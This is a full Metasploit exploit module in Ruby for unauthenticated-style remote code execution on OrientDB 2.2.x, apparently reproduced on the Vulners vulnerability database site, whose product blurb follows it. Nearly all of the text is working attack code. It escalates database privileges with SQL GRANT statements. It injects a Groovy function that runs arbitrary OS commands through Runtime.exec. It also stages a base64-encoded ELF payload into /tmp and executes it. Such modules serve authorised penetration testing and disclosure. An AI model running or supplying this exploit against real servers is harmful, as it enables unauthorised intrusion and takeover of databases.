`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OrientDB 2.2.x Remote Code Execution',
'Description' => %q{
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
},
'Author' =>
[
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
],
'Platform' => %w{ linux unix win },
'Privileged' => false,
'Targets' =>
[
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
],
'DisclosureDate' => 'Jul 13 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2480),
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
])
end
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
print_good("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Vulnerable
else
print_status("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Safe
end
end
def http_send_command(cmd, opts = {})
# 1 -Create the malicious function
func_name = Rex::Text::rand_text_alpha(5).downcase
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
}
res = send_request_raw(request_parameters)
if not (res and res.code == 201)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
return
end
end
# 2 - Trigger the malicious function
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => ""
}
req = send_request_raw(request_parameters)
if not (req and req.code == 200)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
return
end
end
# 3 - Get the malicious function id
if res && res.body.length > 0
begin
json_body = JSON.parse(res.body)["@rid"]
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
return
end
end
func_id = json_body.slice(1..-1)
# 4 - Delete the malicious function
request_parameters = {
'method' => 'DELETE',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => ""
}
rer = send_request_raw(request_parameters)
if not (rer and rer.code == 204)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
return
end
end
end
def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
jcode << "String [] #{cmd_array} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
jcode
end
def on_new_session(client)
if not @to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end
def execute_command(cmd, opts = {})
vprint_status("Attempting to execute: #{cmd}")
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
http_send_command(cmd,targetdb)
end
def linux_stager
cmds = "echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("chmod +x /tmp/#{file}")
execute_command("rm /tmp/#{file}.b64")
execute_command("/tmp/#{file}")
@to_delete = "/tmp/#{file}"
end
def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
privs_enable = ['create','read','update','execute','delete']
items = ['database.class.ouser','database.function','database.systemclusters']
# Set the required DB permissions
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "GRANT #{priv} ON #{item} TO writer"
}
res = send_request_raw(request_parameters)
end
end
# Exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager(flavor: :vbs)
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
res = http_send_command("#{payload.encoded}","#{targetdb}")
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
end
handler
# Final Cleanup
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "REVOKE #{priv} ON #{item} FROM writer"
}
res = send_request_raw(request_parameters)
end
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation